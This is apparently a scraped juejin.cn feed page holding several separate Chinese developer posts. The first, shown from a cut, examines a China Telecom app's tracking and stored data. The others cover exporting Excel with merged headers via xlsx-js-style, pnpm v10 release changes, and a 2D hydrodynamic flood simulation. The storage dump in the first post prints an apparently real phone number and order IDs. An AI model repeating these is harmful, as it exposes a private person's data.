},
"
login_type": "",
"
utms": {
  "
shopid": "189.WAP.llrb-2079"
},
"
$device_id": "19196ac97a0202-081230bde91a9e8-47716e0f-367928-19196ac97a1a95"
}


简单解释一下各种参数


image.png
很显然 ,这是一个用户行为追踪工具,记录你从那个平台点进来(广告投放)、你手机是啥样的(用户画像)、你搜索了什么。可能还会有你住哪里之类的数据



  • 博主一下懵了,之前常听人说大数据时代没有什么秘密,还不以为然。今日一遇还真是阿


登录状态与服务取消cookie


SXH5_CANCEL_SERVICE_LOGINSTATUS=SXH5_CANCEL_SERVICE_a2d95a5a764d4744b1eb1e468b583287

SXH5_CANCEL_SERVICE_LOGINTYPE=fmknjikneolbnhclejikfnbggkmnookc



  • 这两没什么好说的,看不出来啥


查看持久化数据


image-20250105111122637


userInfo={"type":"object","data":{"userName":"","userId":"","userAddress":"","facePhoto":"","frontImage":"","phone":""}}

vConsole_switch_y=335

loginType=sjhocr

xhAccount={"type":"object","data":{"xhzkAccount":"15383404397","xhfkPhone":"","xhkdAccount":""}}

authorPlate=xh

vConsole_switch_x=92

orderId=SXSMRZH5XH202501042248308427503

__DC_STAT_UUID=17360018747207051970


  • 这段数据也没啥好看的,有一些手机号、订单编号、和证明是微信小程序的__DC_STAT_UUID 项


image-20250105111458145



  • 更多就不继续探索了,这里的填写号码获取验证码控制台正常输出。。。。


问题可能产生原因



  • 首先,得知道中国电信app现在的模式是怎样的。

  • 据博主个人观察,电信app页面虽然都一样,但每个地区各自为营。如果你使用福州的电信手机卡登录,那么是跳转到福州电信负责的页面,如下图


s



  • 所以本次app出现问题,是山西电信没有处理好app端


image.png



  • 山西电信微信小程序是没什么问题的,而他的app没有做好对接,要么版本不一样……


吐槽



  • 我有个朋友之前注销电信流量卡时,被告知要去号码归属地才能销户。。这归属地离他十万八千里,过去就为了销卡显然不划算。于是他去工信部12300(微信公众号 现改名为 电信用户投诉 )投诉才成功线上销卡。

  • 电信现在按省来处理业务,如果你电信卡丢了且忘记卡号、归属地,那只能通过线上投诉才能得知自己卡号、归属地,不然各省是无权查别省号码。

  • 我线上销户时,客服A要求先交40元月租才能销户,但这张卡我从未使用,为何会产生月租?联系客服B后,他让我提供身-份-证照片、委托书及手持委托书照片,最终未交钱完成注销。但不同客服的说法不一,且身份信息完全暴露给客服,让人不安。


作者:Qiuner
来源:juejin.cn/post/7456898384352362522
收起阅读 »

和后端大战三百回合后,卑微前端还是选择了自己写excel导出

web
前言 对于一个sass项目,或者一个中后台项目来说,导出excel表格应该是家常便饭,本来最简单的实现方式是后端去做表格,前端请求接口拿到一个地址下载就行了。但是,因为我们这个项目之前就是前端做表格,加上这个表格相对比较复杂需要合并行和列,后端不会加上又有别的...
继续阅读 »

前言


对于一个sass项目,或者一个中后台项目来说,导出excel表格应该是家常便饭,本来最简单的实现方式是后端去做表格,前端请求接口拿到一个地址下载就行了。但是,因为我们这个项目之前就是前端做表格,加上这个表格相对比较复杂需要合并行和列,后端不会加上又有别的项目堆积没有时间研究,所以就是后端提供数据,前端来做表格。


那里复杂


image-20241209095449488.png


可以看到,有二级标题,还有行的合并,如果仅仅是二级标题,倒是可以直接写死,但是行的合并是根据数据去计算该合并那些行的,再比如后面如果有三级标题,四级标题的需求呢?那不是又寄了,所以我选择将这个封装成一个方法,当然也是在网上找大佬们的解决方案实现的,东抄抄西抄抄就实现了我想要的功能。


传参


既然封装成一个方法,最好就是传入数据,表头,文件名后,就能自动下载一个excel表格,这才是封装的意义。代码并不是人,只能根据你设定好的路去走,所以数据的结构就显得很重要了,这个函数想要接收什么样的数据结构,要怎么去处理这些数据结构。


表头 header


表头接收一个数组,每一项有title,prop,children(如果有子级标题),title即为列名,prop为数据属性绑定名,children为子标题。


const header = [
{
'title': '券商(轉出方)',
'prop': 'orgName',
       'width': '100px'
  },
  {
       'title': '存入股票',
        'children': [
                {
                   'title': '存入股票名稱/代碼',
                   'prop': 'stockNameCode',
      'width': '100'
                },
                {
                   'title': '股票數量(股)',
                   'prop': 'stockNum',
                    'width': '100'
                },
                {
                   'title': '成本價(HKD)',
                   'prop': 'stockPrice',
                   'width': '100'
                }
          ]

  }
]

数据 dataSource


数据也是接收一个数组,但是这里需要做一个处理,因为每一项的children是一个数组,可能会有多个值,换句话来说,下面只有两条数据,分别是id为1和id为2,但实际上在excel表格中需要显示3行,所以需要处理一下。


const dataSource = [
  {
      id:1
      orgName:‘a’,
      children:[
      {
               stockNameCode:'A1',
               stockNum:'A2',
               stockPrice:'A3'
  },
          {
               stockNameCode:'B1',
               stockNum:'B2',
               stockPrice:'B3'
  },
]
  },
  {
      id:2
      orgName:'b',
      children:[
      {
               stockNameCode:'A1',
               stockNum:'A2',
               stockPrice:'A3'
  }
]  
  },
]

处理后的数据(也就是将children解构了,变成3条)


[
  {
      id:1
      orgName:‘a’,
      stockNameCode:'A1',
      stockNum:'A2',
      stockPrice:'A3'
  },
  {
      stockNameCode:'B1',
      stockNum:'B2',
      stockPrice:'B3'

  },
  {
      id:2
      orgName:‘b’,
  stockNameCode:'A1',
      stockNum:'A2',
      stockPrice:'A3'  
  }
]

sheetjs前置知识


对于我们前端生成excel,基本都是使用基于sheetjs封装的第三包,最经常使用的是xlsx,我这里因为对表格做了一些样式所以使用的xlsx-js-style,xlsx-js-style是提供了很多样式的,比如字体,居中,填充,具体大家可以去看官网。因为可能有些人是没做过excel的需求的,所以这里简单说一下生成excel的一种主流程。


import XLSX from 'xlsx-js-style'
// 需要一个二维数组
var aoa = [
  ["S", "h", "e", "e", "t", "J", "S"],
  [  1,   2,   ,   ,   5,   6,   7],
  [  2,   3,   ,   ,   6,   7,   8],
  [  3,   4,   ,   ,   7,   8,   9],
  [  4,   5,   6,   7,   8,   9,   0]
];
// 将二维数组转成工作表
var ws = XLSX.utils.aoa_to_sheet(aoa);
// 创建一个工作簿
var wb = XLSX.utils.book_new();
// 将工作表添加到工作簿
XLSX.utils.book_append_sheet(wb, ws, "Sheet1");
// 生成excel
XLSX.writeFile(wb, "SheetJSExportAOA.xlsx");

导出的表格,这是官网的demo: xlsx.nodejs.cn/docs/api/ut…


image-20241210090608300.png


所以封装这个函数,主要流程也是和这个一样的,只不过我们要做的时候,将传入的参数处理成我们想要的二维数组,以及在这基础做一些合并,样式的操作,下面介绍了一些属性的作用,具体大家还是需要去官网查看的。


ws['!merges']


ws['!merges'] 是工作表对象 ws 的一个属性,用于存储工作表中的合并单元格信息,该属性的值是一个数组,其中每个元素都是一个对象,描述了一个合并单元格区域


// s是start e是end合并单元格区域的起始位置和结束位置,
// r是行 c是列
ws['!merges'] = [
{ s: { r: startRow, c: startCol }, e: { r: endRow, c: endCol } }
];

比如{ s: { r: 0, c: 0 }, e: { r: 0, c: 1 } } 表示合并从 A1(第 1 行第 1 列)到 B1(第 1 行第 2 列)的单元格。


ws['!ref']


ws['!ref'] 是工作表对象 ws 的一个属性,用于表示该工作表中数据的范围引用。这个范围引用是一个字符串,遵循 Excel 的单元格范围表示法,格式通常为 A1:B10,其中 A1 是范围的左上角单元格,B10 是范围的右下角单元格


ws['!cols']


ws['!cols'] 是工作表对象 ws 的一个属性,它用于存储工作表中列的相关信息,比如列的宽度、隐藏状态等


主函数


有了这些前置知识,相信你肯定是能看懂这个主函数的,我们先从主线上来看,不去研究这个函数做了什么,只需要看他得到了什么,某一个函数的细节我们后面会有介绍。



header 表头


dataSource 数据


fileName 文件名



import XLSX from 'xlsx-js-style'
function exportExcel (header, dataSource, fileName) {
 // 根据表头数组去计算行数和列数
 const {row: ROW, col: COL} = excelRoWCol(header)
 const aoa = []
 const mergeArr = []
 
 // 根据表头初始化aoa 二维数组
 for (let rowNum = 0; rowNum < ROW; rowNum++) {
   aoa[rowNum] = []
   for (let colNum = 0; colNum < COL; colNum++) {
     aoa[rowNum][colNum] = ''
  }
}
   
 // 根据表头以及数据生成,去合并列和行,会处理mergeArr
 mergeArrFn(mergeArr, header, aoa, dataSource, ROW, COL)
   
 // 最后往aoa中 添加表格数据
 aoa.push(...jsonDataToArray(header, dataSource))

 const ws = XLSX.utils.aoa_to_sheet(aoa)
 // 添加样式
 ExcelStyle(ws, header, ROW)
 // 合并
 ws['!merges'] = mergeArr
 // 创建一个工作簿
 const wb = XLSX.utils.book_new()
 // // 将工作表添加到工作簿
 XLSX.utils.book_append_sheet(wb, ws, 'sheet1')
 // 生成excel
 XLSX.writeFile(wb, fileName + '.xlsx')
}
export default exportExcel

相对前面那个下载excel的demo来说,无非就多了根据传入的header和dataSource去初始化生成aoa以及mergeArr,aoa就是前面demo的二维数组,mergeArr表示我们需要合并的单元格,也就是前面提到的ws['!merges'],我们得到这个mergeArr也是为了赋值给它,还有就是给它添加样式了。


excelRoWCol


这个函数是根据表头去确认这个excel的表头有多少行,有多少列,因为我们传入的column,有children,children里可能还有chidren,是一个的结构,所以我们想要知道有多少行和多少列,无非就是去求这颗树的深度和宽度,所以就是两个算法题了。


// 深度递归函数
function treeDeep (root) {
 if (root) {
   if (root.children && root.children.length !== 0) {
     let maxChildrenLen = 0
     for (const child of root.children) {
       maxChildrenLen = Math.max(maxChildrenLen, treeDeep(child))
    }
     return 1 + maxChildrenLen
  } else {
     return 1
  }
} else {
   return 0
}
}
// 宽度递归函数
function treeWidth (root) {
 if (!root) return 0
 if (!root.children || root.children.length === 0) return 1
 let width = 0
 for (const child of root.children) {
   width += treeWidth(child)
}
 return width
}

function excelRoWCol(header) {
 let row = 0
 let col = 0
 for (const item of header) {
   row = Math.max(treeDeep(item), row)
   col += treeWidth(item)
}
 return {
   row,
   col
}
}

mergeArrFn



mergeArr 这个函数就是在修改这个值


header 表头


aoa 二维数组数


dataSource 数据


headerRowLen 表头行数


headerColLen 表头列数



这个函数有两个作用,第一就是将我们初始化的二维数组,用header进行赋值。第二,就是根据表头以及数据去生成mergeArr(赋值给ws['!merges'])。首先,对于header去遍历每一个表头去生成当前这一列的合并信息。假设一个只有二级表头的表头,如果当前这一列有二级标题,便根据子标题去合并主标题那一行所有的列,如果当前这一列没有子标题,便将这一列的第一行和第二行都和合并了。三级表头,四五级表头也是这样的思路。


function mergeArrFn(mergeArr, header, aoa, dataSource, headerRowLen) {
 // 根据header去生成一部分的 mergeArr
 let temCol = 0
 for (const item of header) {
   generateExcelColumn(aoa, 0, temCol, item, mergeArr)
   temCol += treeWidth(item)
}

 // 根据dataSource去生成一部分的 mergeArr
 let rowStartIndex = headerRowLen
 for (const item of dataSource) {
   generateExcelRow(rowStartIndex, item, mergeArr, header)
   rowStartIndex += treeWidth(item)
}
}

generateExcelColumn


这个函数简单来说就是前面所说的,假设一个只有二级表头的表头,如果当前这一列有二级标题,便根据子标题去合并主标题那一行所有的列,如果当前这一列没有子标题,便将这一列的第一行合第二行都和合并了。三级表头,四五级表头也是这样的思路。具体还是得自己理解代码,都有写注释。



aoa 就是那个aoa


row 就是行数


col 就是列数


curHeader 就是当前那一列


mergeArr 就是那个mergeArr



function generateExcelColumn(aoa, row, col, curHeader, mergeArr) {
 // 当前列的宽度
 const curHeaderWidth = treeWidth(curHeader)
 // 赋值
 aoa[row][col] = curHeader.title
 // 如果有子标题也就是说当前这一行就需要合并了
 if (curHeader.children) {
   // 举个例子,假设有一个表头两行两列,需要把他变成第一行只有一列,第二行依然是两列
   // 就需要变成 {s : { r:0,c:0 }, e : { r:0, c: 0+2-1 }}
   mergeArr.push({s: {r: row, c: col}, e: {r: row, c: col + curHeaderWidth - 1}})

   // 如果子标题还有子标题,就是递归了,要注意更新列数就行
   let tempCol = col
   for (const child of curHeader.children) {
     generateExcelColumn(aoa, row + 1, tempCol, child, mergeArr)
     tempCol += treeWidth(child)
  }
} else {
   // 这里的逻辑就是 如果没有子标题,就正常显示
   // 举个例子,假设整个表头是有三级表头,三级表头也就是有3行,如果第5列是没有任何子级表头的那应该是
   // {s:{r:0,c:5},e:{r:2,c:5}}
   if (row !== aoa.length - 1) {
     mergeArr.push({s: {r: row, c: col}, e: {r: aoa.length - 1, c: col}})
  }
}
}

generateExcelRow


这个函数是根据datasource去生成mergeArr,从mergeArrFn看我们去遍历datasource的每一项,在外层维护rowStartIndex这个变量,我们假设某一项数据的children是一个长度为3的数组,那么通过treeWidth方法(寻找树的宽度)得到的数据就是3,也就是说这一项数据应该占表格3行,但是并不是所有列都是需要3行数据的,所以我们需要去获取到一个不用合并的列prop数组,我们通过这项数据的children的key值去获取,所以这就需要对数据格式有要求了!然后再通过header和getgetLeafProp去获取所有prop,最后遍历判断是否需要去合并行。合并的逻辑是这样的,还是以那个children是一个长度为3的数组为例,如果要合并肯定是3行合并成一行。以第一列为例子,就是 { s : { r : 0, c : 0 }, e : { r : 2 , c : 0 }},下面去遍历props时,下标刚好就是当前的列数。



rowStartIndex 就是从表头的下一行开始


curitem 就是遍历dataSource当前的行


mergeArr 就是mergeArr


header 表头数组



// 合并行
function generateExcelRow(rowStartIndex, curitem, mergeArr, header) {
 // 当前行的高度
 const curHeaderWidth = treeWidth(curitem)
 // 不需要合并的列prop
 const noMerge = (curitem.children && curitem.children.length > 0) ? Object.keys(curitem.children[0]) : []
 // 找到所有prop
 const props = []
 for (const item of header) {
   props.push(...getLeafProp(item))
}
 // 遍历props
 props.forEach((item, index) => {
   // 不是子元素就要合并
   if (!noMerge.includes(item)) {
     mergeArr.push({s: {r: rowStartIndex, c: index}, e: {r: rowStartIndex + curHeaderWidth - 1, c: index}})
  }
})
}

jsonDataToArray


这个函数就是为了生成一个二维数组,因为有子标题,所以可能需要递归。逻辑上也比较简单,假设表头是header,数据源是data,header经过处理后变成了props数组,而data根据props处理后就得到了我们想要的数据。


const header = [
  {
       title: 'a'
       prop: 'aprop'
  },
  {
       title: 'b',
       children:[
          {
               title:'c',
               prop:'cprop'
          },
          {
               title:'d',
               prop:'dprop'
          }
      ]
  },
  {
       title:'e',
       prop:'eprop'
  }
]
const data = [
  {
       aprop:'a1',
       b:{
      cprop:'c1',
      dprop:'d1'
  },
       e:'e1'
  },
  {
       aprop:'a2',
       b:{
      cprop:'c2',
      dprop:'d2'
  },
       eprop:'e2'
  },
]
// 得到的porps
['aprop','cprop','dprop','eprop']

// 最后得到的是这个
[
  ['a1','c1','d1','e1']
  ['a2','c2','d2','e2']
]

getLeafProp其实就是去找所有叶子节点的算法题,recursiveChildrenData就是根据我们得到的props去从data中拿到对应的值,然后如果遇到children就递归去拿,要注意的是就是children要第一条是不要的,children第一条是和这一项数据是一样的。


function jsonDataToArray (header, data) {
 const props = []
 for (const item of header) {
   props.push(...getLeafProp(item))
}
 return recursiveChildrenData(props, data)
}
// 获取叶子节点所有的prop,也就是excel表格每一列的prop
function getLeafProp(root) {
 const result = []
 if (root.children) {
   for (const child of root.children) {
     result.push(...getLeafProp(child))
  }
} else {
   result.push(root.prop)
}
 return result
}
// 从数据中获取对应porps的值
function recursiveChildrenData(props, data) {
 const result = []
 for (const rowData of data) {
   const row = []
   for (const index of props) {
     row.push(rowData[index])
  }
   result.push(row)
   if (rowData.children) {
     result.push(...recursiveChildrenData(props, rowData.children).slice(1))
  }
}
 return result
}

ExcelStyle


这个方法倒是简单,这里其实还可以将表头以及单元格样式抽离出去成为主函数exportExcel的配置项。这个函数干了啥呢,首先就是从columns中拿到每一列的宽度,处理成 ws['!cols']想要的格式,ws['!cols']这个就是sheetJS的配置表格列宽的一个属性。然后就是一些单元格样式,具体去看xslx-js-style的官网。decode_range和encode_cell这两个方法有简单介绍,具体大家去看sheetJS官网吧。



ws 就是 那个表格数据实例


columns 是表头数组


ROW 是表头有多少行


XLSX.utils.decode_range: 用于解析 Excel 工作表中的范围字符串并将其转换为结构化的对象


XLSX.utils.encode_cell:是将一个包含行号和列号的对象编码为 Excel 中常见的单元格地址表示形式



function ExcelStyle (ws, header, ROW) {
 // 列宽
 const widthes = []
 for (const item of header) {
   widthes.push(...getLeafwidth(item))
}
 // 处理成 ws['!cols'] 想要的格式
 const wsCOLS = widthes.map(item => {
   return {
     wpx: item || 100
  }
})
 ws['!cols'] = wsCOLS
 // 定义所需的单元格格式
 const cellStyle = {
   font: { name: '宋体', sz: 11, color: { auto: 1 } },
   // 单元格对齐方式
   alignment: {
     // / 自动换行
     wrapText: 1,
     // 水平居中
     horizontal: 'center',
     // 垂直居中
     vertical: 'center'
  }
}
 // 定义表头
 const headerStyle = {
   border: {
     top: { style: 'thin', color: { rgb: '000000' } },
     left: { style: 'thin', color: { rgb: '000000' } },
     bottom: { style: 'thin', color: { rgb: '000000' } },
     right: { style: 'thin', color: { rgb: '000000' } }
  },
   fill: {
     patternType: 'solid',
     fgColor: { theme: 3, 'tint': 0.3999755851924192, rgb: 'DDD9C4' },
     bgColor: { theme: 7, 'tint': 0.3999755851924192, rgb: '8064A2' }
  }
}
 // 添加样式
 const range = XLSX.utils.decode_range(ws['!ref'])
 for (let row = range.s.r; row <= range.e.r; row++) {
   for (let col = range.s.c; col <= range.e.c; col++) {
     // 找到属性名
     const cellAddress = XLSX.utils.encode_cell({ c: col, r: row })
     if (ws[cellAddress]) {
       // 前几行是表头,添加表头样式
       if (row < ROW) {
         ws[cellAddress].s = headerStyle
      }
       ws[cellAddress].s = {
         ...ws[cellAddress].s,
         ...cellStyle
      }
    }
  }
}
}

// 和getLeafProp类似,只是找的字段不一样
function getLeafwidth(root) {
 const result = []
 if (root.children) {
   for (const child of root.children) {
     result.push(...getLeafwidth(child))
  }
} else {
   result.push(root.width)
}
 return result
}

总结


其实这次也是我第一次自己前端导出excel的需求,之前基本都是后端干的,给个地址直接模拟a标签下载就行了。本来呢,我看项目中也是有封装导出excel的方法的,但是有点晦涩难懂啊,看了下导出的效果,也并不能实现需求。我一直觉得在原有基础的去添加一些相似的功能逻辑,真不如直接重新封装一个方法。然后我测试过了将所有代码赋值到同一个js文件,正常引入传对应的数据结构是能跑通的。其实是有点问题的,就是在根据数据行合并的时候,如果是children里面还children,也就是也要递归,我有点不好拿捏判断递归的时机,加上本来对递归就是一知半解,搞得有点混乱,大家感兴趣的可以试试。


作者:落课
来源:juejin.cn/post/7447368539936587776
收起阅读 »

pnpm v10正式发布,重磅更新,历时3个月,12个版本

web
犹抱琵琶半遮面,千呼万唤始出来,pnpm v10 终于正式发布了。 众所周知,笔者有关注行业技术最新进展的爱好,这次的 pnpm v10 版本,也已经跟踪了好几个月了。 而这次,v10 正式版终于发布了。 版本时间pnpm 10.02025年01月08日pnp...
继续阅读 »


犹抱琵琶半遮面,千呼万唤始出来,pnpm v10 终于正式发布了。


众所周知,笔者有关注行业技术最新进展的爱好,这次的 pnpm v10 版本,也已经跟踪了好几个月了。


而这次,v10 正式版终于发布了。


版本时间
pnpm 10.02025年01月08日
pnpm 10.0 RC 32025年01月05日
pnpm 10.0 RC 22024年12月29日
pnpm 10.0 RC 12024年12月27日
pnpm 10.0 RC 02024年12月16日
pnpm 10.0 Beta 32024年12月12日
pnpm 10.0 Beta 22024年12月09日
pnpm 10.0 Beta 12024年11月29日
pnpm 10.0 Alpha 42024年11月25日
pnpm 10.0 Alpha 32024年11月25日
pnpm 10.0 Alpha 22024年11月15日
pnpm 10.0 Alpha 12024年11月15日
pnpm 10.0 Alpha 02024年10月08日

以上是笔者整理的 pnpm v10 发布过程,从 草案,到 测试版,到 候选版,再到最后的 正式版,可谓是花了不少功夫啊。


也从侧面说明了,pnpm 团队对这次 v10 版本的重视程度,必然是有大事发生,那么话不多说,我们看看本次的更新内容吧。


依赖项的生命周期脚本不会在安装期间执行


这是一个重要变化,依赖包的 生命周期脚本 不会自动执行了。


那么问题来了,可能有些读者还不知道什么是 生命周期脚本生命周期脚本 英文名叫做 Lifecycle scripts


包括以下几种:



  1. 安装相关脚本

    • preinstall:在安装软件包之前执行。

    • install:在安装软件包时执行。

    • postinstall:在安装软件包之后执行。



  2. 发布相关脚本

    • prepare:在发布软件包之前执行。

    • prepublishOnly:只在 npm publish 时执行。

    • prepack:在打包软件包之前执行。

    • postpack:在打包软件包之后执行。



  3. 运行相关脚本

    • prestart/start/poststart:在运行 npm start 时执行。

    • prerestart/restart/postrestart:在运行 npm restart 时执。

    • prestop/stop/poststop:在运行 npm stop 时执行。

    • pretest/test/posttest:在运行 npm test 时执行。




pnpnm v10 开始,这些依赖包中的生命周期脚本都不会自动执行了,这样可以进一步提高安全性。


投票


官方也发起了一个投票:pnpm 可以在安装期间阻止依赖项的生命周期脚本。但这是一个可选功能。我们应该默认阻止它们吗?


最终赞成禁用生命周期脚本的占大多数。


那么我们要让某些依赖包的脚本可以自动执行的话,应怎么做呢?


{
"pnpm": {
"onlyBuiltDependencies": ["fsevents"]
}
}

如上示例,pnpm 提供了一个 onlyBuiltDependencies 参数,所有可以自动执行生命周期脚本的包,都要手动写到里面。


这么一来呢,确实提高了安全性,但是对于开发者来说,也提高了不少复杂性。


因为,可能有些依赖包,或者说依赖包的依赖包,需要自动执行脚本才能生效。


如果采用手动模式,那就很可能很难找到,到底要执行哪个包的生命周期脚本,提高了安全性的同时,也降低了开发的便捷性。


pnpm link 行为更新


这个可能有很多人还没用过,主要用途有 2 个:



  1. 替换已安装的软件包

    • 当你正在开发一个依赖包,想在另一个项目中测试它时,可以使用 pnpm link 将本地版本链接到目标项目。

    • 这样可以避免频繁地发布和安装依赖包,提高开发效率。



  2. 添加全局可用的二进制文件

    • 如果你开发了一个包含命令行工具的软件包,可以使用 pnpm link 将其二进制文件注册到全局,以便在任何地方都可以执行。

    • 这对于开发 CLI 工具非常有用。




那么这次的主要变化有 2 个。



  1. 通过 pnpm link 默认创建的是全局包,在之前,则需要 pnpm link -g 才可以创建全局包。

  2. workspace 的多包项目中,override 被添加到工作区的根目录,将依赖项链接到工作区中的所有项目。


总而言之,就是能全局的就全局,把影响范围扩大化,免得抠抠搜搜的。


可能有读者不知道 override 是啥,这里也科普一下:


假设项目中有两个依赖 A 和 B,它们都依赖于同一个包 lodash,但是需要使用不同的版本。


那么可以使用 overrides 来指定使用 lodash 的特定版本:


{
"dependencies": {
"A": "^1.0.0",
"B": "^2.0.0"
},
"pnpm": {
"overrides": {
"lodash": "^4.17.21"
}
}
}

这样就可以确保项目中使用的 lodash 版本是 4.17.21,而不管 A 和 B 各自需要的版本是什么。


如果某个依赖包存在问题,也可以使用 overrides 来替换它:


{
"dependencies": {
"problem-package": "^1.0.0"
},
"pnpm": {
"overrides": {
"problem-package": "my-forked-package@^1.0.1"
}
}
}

在这个例子中,我们将 problem-package 替换为 my-forked-package 的 1.0.1 版本。


可能我写的文章稍微啰嗦了点,主要是考虑到读者可能存在不同的经验水平,所以一些概念也扩展科普一下。


使用 SHA256 进行安全哈希处理


各种哈希算法已更新为 SHA256,以增强安全性和一致性:



  • node_modules/.pnpm 内的长路径现在使用 SHA256 进行哈希处理。

  • 锁定文件中的长对等依赖关系哈希现在使用 SHA256 而不是 MD5。

  • pnpm-lock.yamlpackageExtensionsChecksum 字段中存储的哈希现在为 SHA256。

  • 副作用缓存密钥现在使用 SHA256。

  • 锁定文件中的 pnpmfile 校验和现在使用 SHA256。


配置更新



  1. manage-package-manager-versions:默认启用。pnpm 现在默认根据 package.json 中的 packageManager 字段管理自己的版本。

  2. public-hoist-pattern:默认情况下不会提升任何内容。名称中包含 eslintprettier 的包不再提升到 node_modules 的根目录。

  3. 已将 @yarnpkg/extensions 升级至 v2.0.3,这可能会改变您的 pnpm-lock 文件。

  4. virtual-store-dir-max-length:Windows 上的默认值已减少到 60 个字符。

  5. 减少脚本的环境变量:在脚本执行期间,会设置较少的 npm_package_* 环境变量。仅保留 nameversionbinenginesconfig

  6. 即使 NODE_ENV=production,所有依赖项现在都会安装。


从现在开始,NODE_ENV=production 也会安装所有依赖,包括开发依赖,这对于像我这样的强迫症来说,有点难以接受,没有用到的依赖我为啥要安装?


查看官方文档,可以通过 pnpm add --prod 来只安装 dependencies 依赖。


全局存储更新



  1. 全局 store 升级到 v10

  2. 一些注册表允许使用不同的软件包名称或版本发布相同的内容。为了适应这种情况,商店中的索引文件现在使用内容哈希和软件包标识符来存储。

    1. 验证锁文件中的完整性是否与正确的包相对应,在 Git 冲突解决不佳后可能并非如此。

    2. 允许相同的内容被不同的包或者同一个包的不同版本引用。



  3. 更高效的副作用索引。存储中的索引文件结构已更改。现在通过仅列出文件差异而不是所有文件,可以更有效地跟踪副作用。

  4. 新的索引目录存储了包内容映射。以前,这些文件位于文件中。


其他重大变化



  • # 字符现在在 node_modules/.pnpm 内的目录名称中被转义。

  • 运行 pnpm add --global pnpmpnpm add --global @pnpm/exe 现在会失败并出现错误消息,指导您改用 pnpm 自我更新。

  • 通过 URL 添加的依赖项现在在锁文件中记录最终解析的 URL,确保完全捕获任何重定向。

  • pnpm deploy 命令现在仅适用于具有 inject-workspace-packages=true 的工作区。引入此限制是为了让我们能够使用工作区锁定文件为已部署的项目创建适当的锁定文件。

  • 删除了从 lockfile v6v9 的转换。如果您需要 v6v9 的转换,请使用 pnpm CLI v9

  • pnpm test 现在将 test 关键字后的所有参数直接传递给底层脚本。这与 pnpm run test 的行为一致。以前您需要使用 -- 前缀。

  • pnpm deploy 现在尝试从共享锁文件创建专用锁文件以进行部署。如果没有共享锁文件或 force-legacy-deploy 设置为 true,它将回退到没有锁文件的部署。


次要变化


添加了对一种名为 configurational dependencie 的新依赖项类型的支持


这些依赖项在所有其他类型的依赖项之前安装 (在 dependenciesdevDependenciesoptionalDependencies 之前)。


配置依赖项不能具有其自身或生命周期脚本的依赖项,应使用精确版本和完整性校验和添加它们。


示例:


{
"pnpm": {
"configDependencies": {
"my-configs": "1.0.0+sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw=="
}
}
}

新的 verify-deps-before-run 设置


此设置控制 pnpm 在运行脚本之前如何检查 node_modules,有以下值:



  • install:如果 node_modules 已过时,则自动运行 pnpm install。

  • warn:如果 node_modules 已过时,则打印警告。

  • prompt:如果 node_modules 已过时,则提示用户确认运行 pnpm install。

  • error:如果 node_modules 已过时,则抛出错误。

  • false:禁用依赖性检查。


新的 inject-workspace-packages 设置允许对所有本地工作区依赖项进行硬链接,而不是对其进行符号链接。


以前,这可以使用 dependencyMeta[].injected 来实现,现在仍然受支持。


更快的重复安装


在重复安装时,pnpm 会执行快速检查以确保 node_modules 是最新的。


pnpm add 与默认工作区目录集成


添加依赖项时,pnpm add 会检查默认工作区目录。


如果依赖项和版本要求与目录匹配,pnpm add 将使用 catalog: 协议。


如果没有指定版本,它将匹配目录的版本。


如果不匹配,它将恢复为标准行为。


pnpm dlx 解析调整


pnpm dlx 现在将软件包解析为其确切版本,并将这些确切版本用作缓存键。


这可确保 pnpm dlx 始终安装最新请求的软件包。


node_modules 验证


某些命令没有 node_modules 验证,不应修改 node_modules 的命令 (例如 pnpm install --lockfile-only) 不再验证或清除 node_modules。


以上就是本次 pnpm v10 的更新内容,感谢阅读,欢迎点赞,评论和转发。


作者:前端之虎陈随易
来源:juejin.cn/post/7457307617129496614
收起阅读 »

我不允许还有人不知道前端实现时刻洪水模拟的方法!🔥

web
二维水动力 HydroDynamic2D 二维水动力介绍 二维水动力模型对象 HydroDynamic2D,基于真实数据驱动生成水动力模型(根据不同时刻下每个网格的流向、流速、高程、水位) 二维水动力模型考虑了水流在平面上的变化,适用于河道弯曲、水流方向多变的...
继续阅读 »

二维水动力 HydroDynamic2D


二维水动力介绍


二维水动力模型对象 HydroDynamic2D,基于真实数据驱动生成水动力模型(根据不同时刻下每个网格的流向、流速、高程、水位)


二维水动力模型考虑了水流在平面上的变化,适用于河道弯曲、水流方向多变的情况。这种模型能够更准确地反映水流在平面上的分布情况,适用于需要精确模拟水流动态的场景,如城市排水系统设计、洪水模拟。二维模型的优势在于能够提供更详细的水流信息,但计算复杂度较高,需要更多的计算资源和时间。


二维水动力效果2.gif

本篇文章主要介绍在DTS 数字孪生引擎中实现二维水动力效果。在DTS SDK中开放了 HydroDynamic2D对象 添加二维水动力,并可以通过多种数据源进行添加,如 Bin、Sdb、Shp、Tif 的方式。


本文章主要介绍shp加载的方式,这种方式相对其他方式会更简单通用。


shp数据源添加方式


所需数据源


二维水动力是用数据驱动生成渲染效果的接口,所以数据源及其重要。


要利用shp为数据源进行添加,使用的是addByShp()方法,其与数据源相关的参数有两个:shpFilePath shpDataFilePath


shpFilePath其实就是水动力模型中水面网格的范围与高程,shpDataFilePath则代表每个网格的水深以及流速、流向



  • shpFilePath: 添加二维水动力模型整体范围的shp文件路径,取值示例:"C:/shpFile/xxx.shp"。



    • 此shp文件包含水动力模型所有网格的范围

    • shp类型为Polygon

    • 坐标系必须与工程坐标系保持一致

    • 必须包含 ID和Elev 两个字段:ID是网格ID;Elev是网格的高程值,单位是米




image-20241216172254779.png

  • shpDataFilePath: 可选参数,仅在update()方法执行生效。更新二维水动力模型时包含水面网格的dat类型文件路径,取值示例:"C:/datFile/xxx.dat"。

  • dat文件是一种二进制文件,它提取了某一时刻包含的所有水面网格的信息,并把这些信息依次写入了二进制文件dat。

  • 一个水面网格信息包含如下一组四个值:id (int),h (double),u(double),v(double),必须完全符合顺序以及数据类型。

  • id对应shp属性表ID字段,h是网格对应的水深(单位是米),uv是流速和流向(单位米/秒,u朝东,v朝北)。

  • 更新效果需要准备多个时刻的.dat文件,如下图所示

    image-20241216172314255.png


添加方法


1、准备测试数据

这里给大家准备好了一些数据资源,包括了实现的数据源、代码以及dat数据转换的程序,大家可以自行下载测试



百度网盘数据资源连接:pan.baidu.com/s/1XS3UDkrB…




  • 【文件资源】@path : 放到cloud文件资源路径

  • 【示例代码】code : demo源代码,直接用demo工程场景运行即可

  • 【dat数据转换】jsonToDat : json转dat代码,分别含有node.js、java、python示例代码


